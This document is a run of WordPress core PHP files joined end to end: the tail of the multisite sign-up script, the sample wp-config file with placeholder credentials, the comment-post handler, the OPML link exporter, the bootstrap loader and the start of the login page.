	// Extracted values set/overwrite globals.
	$domain     = $result['domain'];
	$path       = $result['path'];
	$blogname   = $result['blogname'];
	$blog_title = $result['blog_title'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_another_blog( $blogname, $blog_title, $errors );
		return false;
	}

	$public = (int) $_POST['blog_public'];

	$blog_meta_defaults = array(
		'lang_id' => 1,
		'public'  => $public,
	);

	// Handle the language setting for the new site.
	if ( ! empty( $_POST['WPLANG'] ) ) {

		$languages = signup_get_available_languages();

		if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );

			if ( $language ) {
				$blog_meta_defaults['WPLANG'] = $language;
			}
		}
	}

	/**
	 * Filters the new site meta variables.
	 *
	 * Use the {@see 'add_signup_meta'} filter instead.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 3.0.0 Use the {@see 'add_signup_meta'} filter instead.
	 *
	 * @param array $blog_meta_defaults An array of default blog meta variables.
	 */
	$meta_defaults = apply_filters_deprecated( 'signup_create_blog_meta', array( $blog_meta_defaults ), '3.0.0', 'add_signup_meta' );

	/**
	 * Filters the new default site meta variables.
	 *
	 * @since 3.0.0
	 *
	 * @param array $meta {
	 *     An array of default site meta variables.
	 *
	 *     @type int $lang_id     The language ID.
	 *     @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false.
	 * }
	 */
	$meta = apply_filters( 'add_signup_meta', $meta_defaults );

	$blog_id = wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, get_current_network_id() );

	if ( is_wp_error( $blog_id ) ) {
		return false;
	}

	confirm_another_blog_signup( $domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta, $blog_id );
	return true;
}

/**
 * Shows a message confirming that the new site has been created.
 *
 * @since MU (3.0.0)
 * @since 4.4.0 Added the `$blog_id` parameter.
 *
 * @param string $domain     The domain URL.
 * @param string $path       The site root path.
 * @param string $blog_title The site title.
 * @param string $user_name  The username.
 * @param string $user_email The user's email address.
 * @param array  $meta       Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
 * @param int    $blog_id    The site ID.
 */
function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array(), $blog_id = 0 ) {

	if ( $blog_id ) {
		switch_to_blog( $blog_id );
		$home_url  = home_url( '/' );
		$login_url = wp_login_url();
		restore_current_blog();
	} else {
		$home_url  = 'http://' . $domain . $path;
		$login_url = 'http://' . $domain . $path . 'wp-login.php';
	}

	$site = sprintf(
		'<a href="%1$s">%2$s</a>',
		esc_url( $home_url ),
		$blog_title
	);

	?>
	<h2>
	<?php
		/* translators: %s: Site title. */
		printf( __( 'The site %s is yours.' ), $site );
	?>
	</h2>
	<p>
		<?php
		printf(
			/* translators: 1: Link to new site, 2: Login URL, 3: Username. */
			__( '%1$s is your new site. <a href="%2$s">Log in</a> as &#8220;%3$s&#8221; using your existing password.' ),
			sprintf(
				'<a href="%s">%s</a>',
				esc_url( $home_url ),
				untrailingslashit( $domain . $path )
			),
			esc_url( $login_url ),
			$user_name
		);
		?>
	</p>
	<?php
	/**
	 * Fires when the site or user sign-up process is complete.
	 *
	 * @since 3.0.0
	 */
	do_action( 'signup_finished' );
}

/**
 * Shows a form for a visitor to sign up for a new user account.
 *
 * @since MU (3.0.0)
 *
 * @global string $active_signup String that returns registration type. The value can be
 *                               'all', 'none', 'blog', or 'user'.
 *
 * @param string          $user_name  The username.
 * @param string          $user_email The user's email.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_user( $user_name = '', $user_email = '', $errors = '' ) {
	global $active_signup;

	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_for = isset( $_POST['signup_for'] ) ? esc_html( $_POST['signup_for'] ) : 'blog';

	$signup_user_defaults = array(
		'user_name'  => $user_name,
		'user_email' => $user_email,
		'errors'     => $errors,
	);

	/**
	 * Filters the default user variables used on the user sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_user_defaults {
	 *     An array of default user variables.
	 *
	 *     @type string   $user_name  The user username.
	 *     @type string   $user_email The user email address.
	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to the sign-up user.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults );
	$user_name        = $filtered_results['user_name'];
	$user_email       = $filtered_results['user_email'];
	$errors           = $filtered_results['errors'];

	?>

	<h2>
	<?php
		/* translators: %s: Name of the network. */
		printf( __( 'Get your own %s account in seconds' ), get_network()->site_name );
	?>
	</h2>
	<form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate">
		<input type="hidden" name="stage" value="validate-user-signup" />
		<?php
		/** This action is documented in wp-signup.php */
		do_action( 'signup_hidden_fields', 'validate-user' );
		?>
		<?php show_user_form( $user_name, $user_email, $errors ); ?>

		<?php if ( 'blog' === $active_signup ) : ?>
			<input id="signupblog" type="hidden" name="signup_for" value="blog" />
		<?php elseif ( 'user' === $active_signup ) : ?>
			<input id="signupblog" type="hidden" name="signup_for" value="user" />
		<?php else : ?>
			<fieldset class="signup-options">
				<legend><?php _e( 'Create a site or only a username:' ); ?></legend>
				<p class="wp-signup-radio-buttons">
					<span class="wp-signup-radio-button">
						<input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> />
						<label class="checkbox" for="signupblog"><?php _e( 'Gimme a site!' ); ?></label>
					</span>
					<span class="wp-signup-radio-button">
						<input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> />
						<label class="checkbox" for="signupuser"><?php _e( 'Just a username, please.' ); ?></label>
					</span>
				</p>
			</fieldset>
		<?php endif; ?>

		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Next' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates the new user sign-up.
 *
 * @since MU (3.0.0)
 *
 * @return bool True if new user sign-up was validated, false on error.
 */
function validate_user_signup() {
	$result     = validate_user_form();
	$user_name  = $result['user_name'];
	$user_email = $result['user_email'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_user( $user_name, $user_email, $errors );
		return false;
	}

	if ( 'blog' === $_POST['signup_for'] ) {
		signup_blog( $user_name, $user_email );
		return false;
	}

	/** This filter is documented in wp-signup.php */
	wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) );

	confirm_user_signup( $user_name, $user_email );
	return true;
}

/**
 * Shows a message confirming that the new user has been registered and is awaiting activation.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_name  The username.
 * @param string $user_email The user's email address.
 */
function confirm_user_signup( $user_name, $user_email ) {
	?>
	<h2>
	<?php
	/* translators: %s: Username. */
	printf( __( '%s is your new username' ), $user_name )
	?>
	</h2>
	<p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ); ?></p>
	<p>
	<?php
	/* translators: %s: The user email address. */
	printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
	?>
	</p>
	<p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p>
	<?php
	/** This action is documented in wp-signup.php */
	do_action( 'signup_finished' );
}

/**
 * Shows a form for a user or visitor to sign up for a new site.
 *
 * @since MU (3.0.0)
 *
 * @param string          $user_name  The username.
 * @param string          $user_email The user's email address.
 * @param string          $blogname   The site name.
 * @param string          $blog_title The site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_blog( $user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_blog_defaults = array(
		'user_name'  => $user_name,
		'user_email' => $user_email,
		'blogname'   => $blogname,
		'blog_title' => $blog_title,
		'errors'     => $errors,
	);

	/**
	 * Filters the default site creation variables for the site sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_blog_defaults {
	 *     An array of default site creation variables.
	 *
	 *     @type string   $user_name  The user username.
	 *     @type string   $user_email The user email address.
	 *     @type string   $blogname   The blogname.
	 *     @type string   $blog_title The title of the site.
	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to new site creation variables.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults );

	$user_name  = $filtered_results['user_name'];
	$user_email = $filtered_results['user_email'];
	$blogname   = $filtered_results['blogname'];
	$blog_title = $filtered_results['blog_title'];
	$errors     = $filtered_results['errors'];

	if ( empty( $blogname ) ) {
		$blogname = $user_name;
	}
	?>
	<form id="setupform" method="post" action="wp-signup.php">
		<input type="hidden" name="stage" value="validate-blog-signup" />
		<input type="hidden" name="user_name" value="<?php echo esc_attr( $user_name ); ?>" />
		<input type="hidden" name="user_email" value="<?php echo esc_attr( $user_email ); ?>" />
		<?php
		/** This action is documented in wp-signup.php */
		do_action( 'signup_hidden_fields', 'validate-site' );
		?>
		<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Sign up' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates new site signup.
 *
 * @since MU (3.0.0)
 *
 * @return bool True if the site sign-up was validated, false on error.
 */
function validate_blog_signup() {
	// Re-validate user info.
	$user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
	$user_name   = $user_result['user_name'];
	$user_email  = $user_result['user_email'];
	$user_errors = $user_result['errors'];

	if ( $user_errors->has_errors() ) {
		signup_user( $user_name, $user_email, $user_errors );
		return false;
	}

	$result     = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] );
	$domain     = $result['domain'];
	$path       = $result['path'];
	$blogname   = $result['blogname'];
	$blog_title = $result['blog_title'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_blog( $user_name, $user_email, $blogname, $blog_title, $errors );
		return false;
	}

	$public      = (int) $_POST['blog_public'];
	$signup_meta = array(
		'lang_id' => 1,
		'public'  => $public,
	);

	// Handle the language setting for the new site.
	if ( ! empty( $_POST['WPLANG'] ) ) {

		$languages = signup_get_available_languages();

		if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );

			if ( $language ) {
				$signup_meta['WPLANG'] = $language;
			}
		}
	}

	/** This filter is documented in wp-signup.php */
	$meta = apply_filters( 'add_signup_meta', $signup_meta );

	wpmu_signup_blog( $domain, $path, $blog_title, $user_name, $user_email, $meta );
	confirm_blog_signup( $domain, $path, $blog_title, $user_name, $user_email, $meta );
	return true;
}

/**
 * Shows a message confirming that the new site has been registered and is awaiting activation.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The domain or subdomain of the site.
 * @param string $path       The path of the site.
 * @param string $blog_title The title of the new site.
 * @param string $user_name  The user's username.
 * @param string $user_email The user's email address.
 * @param array  $meta       Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
 */
function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) {
	?>
	<h2>
	<?php
	/* translators: %s: Site address. */
	printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" )
	?>
	</h2>

	<p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ); ?></p>
	<p>
	<?php
	/* translators: %s: The user email address. */
	printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
	?>
	</p>
	<p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p>
	<h2><?php _e( 'Still waiting for your email?' ); ?></h2>
	<p><?php _e( 'If you have not received your email yet, there are a number of things you can do:' ); ?></p>
	<ul id="noemail-tips">
		<li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ); ?></strong></p></li>
		<li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ); ?></p></li>
		<li>
		<?php
			/* translators: %s: Email address. */
			printf( __( 'Have you entered your email correctly? You have entered %s, if it&#8217;s incorrect, you will not receive your email.' ), $user_email );
		?>
		</li>
	</ul>
	<?php
	/** This action is documented in wp-signup.php */
	do_action( 'signup_finished' );
}

/**
 * Retrieves languages available during the site/user sign-up process.
 *
 * @since 4.4.0
 *
 * @see get_available_languages()
 *
 * @return string[] Array of available language codes. Language codes are formed by
 *                  stripping the .mo extension from the language file names.
 */
function signup_get_available_languages() {
	/**
	 * Filters the list of available languages for front-end site sign-ups.
	 *
	 * Passing an empty array to this hook will disable output of the setting on the
	 * sign-up form, and the default language will be used when creating the site.
	 *
	 * Languages not already installed will be stripped.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $languages Array of available language codes. Language codes are formed by
	 *                            stripping the .mo extension from the language file names.
	 */
	$languages = (array) apply_filters( 'signup_get_available_languages', get_available_languages() );

	/*
	 * Strip any non-installed languages and return.
	 *
	 * Re-call get_available_languages() here in case a language pack was installed
	 * in a callback hooked to the 'signup_get_available_languages' filter before this point.
	 */
	return array_intersect_assoc( $languages, get_available_languages() );
}

// Main.
$active_signup = get_site_option( 'registration', 'none' );

/**
 * Filters the type of site sign-up.
 *
 * @since 3.0.0
 *
 * @param string $active_signup String that returns registration type. The value can be
 *                              'all', 'none', 'blog', or 'user'.
 */
$active_signup = apply_filters( 'wpmu_active_signup', $active_signup );

if ( current_user_can( 'manage_network' ) ) {
	echo '<div class="mu_alert">';
	_e( 'Greetings Network Administrator!' );
	echo ' ';

	switch ( $active_signup ) {
		case 'none':
			_e( 'The network currently disallows registrations.' );
			break;
		case 'blog':
			_e( 'The network currently allows site registrations.' );
			break;
		case 'user':
			_e( 'The network currently allows user registrations.' );
			break;
		default:
			_e( 'The network currently allows both site and user registrations.' );
			break;
	}

	echo ' ';

	/* translators: %s: URL to Network Settings screen. */
	printf( __( 'To change or disable registration go to your <a href="%s">Options page</a>.' ), esc_url( network_admin_url( 'settings.php' ) ) );
	echo '</div>';
}

$newblogname = isset( $_GET['new'] ) ? strtolower( preg_replace( '/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'] ) ) : null;

$current_user = wp_get_current_user();
if ( 'none' === $active_signup ) {
	_e( 'Registration has been disabled.' );
} elseif ( 'blog' === $active_signup && ! is_user_logged_in() ) {
	$login_url = wp_login_url( network_site_url( 'wp-signup.php' ) );
	/* translators: %s: Login URL. */
	printf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url );
} else {
	$stage = isset( $_POST['stage'] ) ? $_POST['stage'] : 'default';
	switch ( $stage ) {
		case 'validate-user-signup':
			if ( 'all' === $active_signup
				|| ( 'blog' === $_POST['signup_for'] && 'blog' === $active_signup )
				|| ( 'user' === $_POST['signup_for'] && 'user' === $active_signup )
			) {
				validate_user_signup();
			} else {
				_e( 'User registration has been disabled.' );
			}
			break;
		case 'validate-blog-signup':
			if ( 'all' === $active_signup || 'blog' === $active_signup ) {
				validate_blog_signup();
			} else {
				_e( 'Site registration has been disabled.' );
			}
			break;
		case 'gimmeanotherblog':
			validate_another_blog_signup();
			break;
		case 'default':
		default:
			$user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : '';
			/**
			 * Fires when the site sign-up form is sent.
			 *
			 * @since 3.0.0
			 */
			do_action( 'preprocess_signup_form' );
			if ( is_user_logged_in() && ( 'all' === $active_signup || 'blog' === $active_signup ) ) {
				signup_another_blog( $newblogname );
			} elseif ( ! is_user_logged_in() && ( 'all' === $active_signup || 'user' === $active_signup ) ) {
				signup_user( $newblogname, $user_email );
			} elseif ( ! is_user_logged_in() && ( 'blog' === $active_signup ) ) {
				_e( 'Sorry, new registrations are not allowed at this time.' );
			} else {
				_e( 'You are logged in already. No need to register again!' );
			}

			if ( $newblogname ) {
				$newblog = get_blogaddress_by_name( $newblogname );

				if ( 'blog' === $active_signup || 'all' === $active_signup ) {
					printf(
						/* translators: %s: Site address. */
						'<p>' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '</p>',
						'<strong>' . $newblog . '</strong>'
					);
				} else {
					printf(
						/* translators: %s: Site address. */
						'<p>' . __( 'The site you were looking for, %s, does not exist.' ) . '</p>',
						'<strong>' . $newblog . '</strong>'
					);
				}
			}
			break;
	}
}
?>
</div>
</div>
<?php
/**
 * Fires after the sign-up forms, before wp_footer.
 *
 * @since 3.0.0
 */
do_action( 'after_signup_form' );
?>

<?php
get_footer( 'wp-signup' );
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
46931 1171071594
<?php
/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 *
 * @package WordPress
 */

if ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
	$protocol = $_SERVER['SERVER_PROTOCOL'];
	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
		$protocol = 'HTTP/1.0';
	}

	header( 'Allow: POST' );
	header( "$protocol 405 Method Not Allowed" );
	header( 'Content-Type: text/plain' );
	exit;
}

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

nocache_headers();

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment->get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			'<p>' . $comment->get_error_message() . '</p>',
			__( 'Comment Submission Failure' ),
			array(
				'response'  => $data,
				'back_link' => true,
			)
		);
	} else {
		exit;
	}
}

$user            = wp_get_current_user();
$cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) );

/**
 * Fires after comment cookies are set.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author's user object. The user may not exist.
 * @param bool       $cookies_consent Comment author's consent to store cookies.
 */
do_action( 'set_comment_cookies', $comment, $user, $cookies_consent );

$location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID;

// If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message.
if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) {
	$location = add_query_arg(
		array(
			'unapproved'      => $comment->comment_ID,
			'moderation-hash' => wp_hash( $comment->comment_date_gmt ),
		),
		$location
	);
}

/**
 * Filters the location URI to send the commenter after posting.
 *
 * @since 2.0.5
 *
 * @param string     $location The 'redirect_to' URI sent via $_POST.
 * @param WP_Comment $comment  Comment object.
 */
$location = apply_filters( 'comment_post_redirect', $location, $comment );

wp_safe_redirect( $location );
exit;
<?php
/**
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 */

require_once __DIR__ . '/wp-load.php';

header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
$link_cat = '';
if ( ! empty( $_GET['link_cat'] ) ) {
	$link_cat = $_GET['link_cat'];
	if ( ! in_array( $link_cat, array( 'all', '0' ), true ) ) {
		$link_cat = absint( (string) urldecode( $link_cat ) );
	}
}

echo '<?xml version="1.0"?' . ">\n";
?>
<opml version="1.0">
	<head>
		<title>
		<?php
			/* translators: %s: Site title. */
			printf( __( 'Links for %s' ), esc_attr( get_bloginfo( 'name', 'display' ) ) );
		?>
		</title>
		<dateCreated><?php echo gmdate( 'D, d M Y H:i:s' ); ?> GMT</dateCreated>
		<?php
		/**
		 * Fires in the OPML header.
		 *
		 * @since 3.0.0
		 */
		do_action( 'opml_head' );
		?>
	</head>
	<body>
<?php
if ( empty( $link_cat ) ) {
	$cats = get_categories(
		array(
			'taxonomy'     => 'link_category',
			'hierarchical' => 0,
		)
	);
} else {
	$cats = get_categories(
		array(
			'taxonomy'     => 'link_category',
			'hierarchical' => 0,
			'include'      => $link_cat,
		)
	);
}

foreach ( (array) $cats as $cat ) :
	/** This filter is documented in wp-includes/bookmark-template.php */
	$catname = apply_filters( 'link_category', $cat->name );

	?>
<outline type="category" title="<?php echo esc_attr( $catname ); ?>">
	<?php
	$bookmarks = get_bookmarks( array( 'category' => $cat->term_id ) );
	foreach ( (array) $bookmarks as $bookmark ) :
		/**
		 * Filters the OPML outline link title text.
		 *
		 * @since 2.2.0
		 *
		 * @param string $title The OPML outline title text.
		 */
		$title = apply_filters( 'link_title', $bookmark->link_name );
		?>
<outline text="<?php echo esc_attr( $title ); ?>" type="link" xmlUrl="<?php echo esc_url( $bookmark->link_rss ); ?>" htmlUrl="<?php echo esc_url( $bookmark->link_url ); ?>" updated="
							<?php
							if ( '0000-00-00 00:00:00' !== $bookmark->link_updated ) {
								echo $bookmark->link_updated;
							}
							?>
" />
		<?php
	endforeach; // $bookmarks
	?>
</outline>
	<?php
endforeach; // $cats
?>
</body>
</opml>
<?php
/**
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
 */

/** Define ABSPATH as this file's directory */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
if ( function_exists( 'error_reporting' ) ) {
	/*
	 * Initialize error reporting to a known set of levels.
	 *
	 * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG.
	 * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels.
	 */
	error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
}

/*
 * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
 * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
 * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
 * and /blog/ is WordPress(b).
 *
 * If neither set of conditions is true, initiate loading the setup process.
 */
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {

	/** The config file resides in ABSPATH */
	require_once ABSPATH . 'wp-config.php';

} elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {

	/** The config file resides one level above ABSPATH but is not part of another installation */
	require_once dirname( ABSPATH ) . '/wp-config.php';

} else {

	// A config file doesn't exist.

	define( 'WPINC', 'wp-includes' );
	require_once ABSPATH . WPINC . '/version.php';
	require_once ABSPATH . WPINC . '/compat.php';
	require_once ABSPATH . WPINC . '/load.php';

	// Check for the required PHP version and for the MySQL extension or a database drop-in.
	wp_check_php_mysql_versions();

	// Standardize $_SERVER variables across setups.
	wp_fix_server_vars();

	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
	require_once ABSPATH . WPINC . '/functions.php';

	$path = wp_guess_url() . '/wp-admin/setup-config.php';

	// Redirect to setup-config.php.
	if ( ! str_contains( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
		header( 'Location: ' . $path );
		exit;
	}

	wp_load_translations_early();

	// Die with an error message.
	$die = '<p>' . sprintf(
		/* translators: %s: wp-config.php */
		__( "There doesn't seem to be a %s file. It is needed before the installation can continue." ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p>' . sprintf(
		/* translators: 1: Documentation URL, 2: wp-config.php */
		__( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ),
		__( 'https://wordpress.org/documentation/article/editing-wp-config-php/' ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p>' . sprintf(
		/* translators: %s: wp-config.php */
		__( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a></p>';

	wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
}
<?php
/**
 * WordPress User Page
 *
 * Handles authentication, registering, resetting passwords, forgot password,
 * and other user handling.
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

// Redirect to HTTPS login if forced to use SSL.
if ( force_ssl_admin() && ! is_ssl() ) {
	if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) {
		wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
		exit;
	} else {
		wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		exit;
	}
}

/**
 * Outputs the login page header.
 *
 * @since 2.1.0
 *
 * @global string      $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                           Default 'Log In'.
 * @param string   $message  Optional. Message to display in header. Default empty.
 * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
 */
function login_header( $title = 'Log In', $message = '', $wp_error = null ) {
	global $error, $interim_login, $action;

	// Don't index any of these forms.
	add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
	add_action( 'login_head', 'wp_strict_cross_origin_referrer' );

	add_action( 'login_head', 'wp_login_viewport_meta' );

	if ( ! is_wp_error( $wp_error ) ) {
		$wp_error = new WP_Error();
	}

	// Shake it!
	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
	/**
	 * Filters the error codes array for shaking the login form.
	 *
	 * @since 3.0.0
	 *
	 * @param string[] $shake_error_codes Error codes that shake the login form.
	 */
	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );

	if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
		add_action( 'login_footer', 'wp_shake_js', 12 );
	}

	$login_title = get_bloginfo( 'name', 'display' );

	/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
	$login_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $login_title );

	if ( wp_is_recovery_mode() ) {
		/* translators: %s: Login screen title. */
		$login_title = sprintf( __( 'Recovery Mode &#8212; %s' ), $login_title );
	}

	/**
	 * Filters the title tag content for login page.
	 *
	 * @since 4.9.0
	 *
	 * @param string $login_title The page title, with extra context added.
	 * @param string $title       The original page title.
	 */
	$login_title = apply_filters( 'login_title', $login_title, $title );

	?><!DOCTYPE html>
	<html <?php language_attributes(); ?>>
	<head>
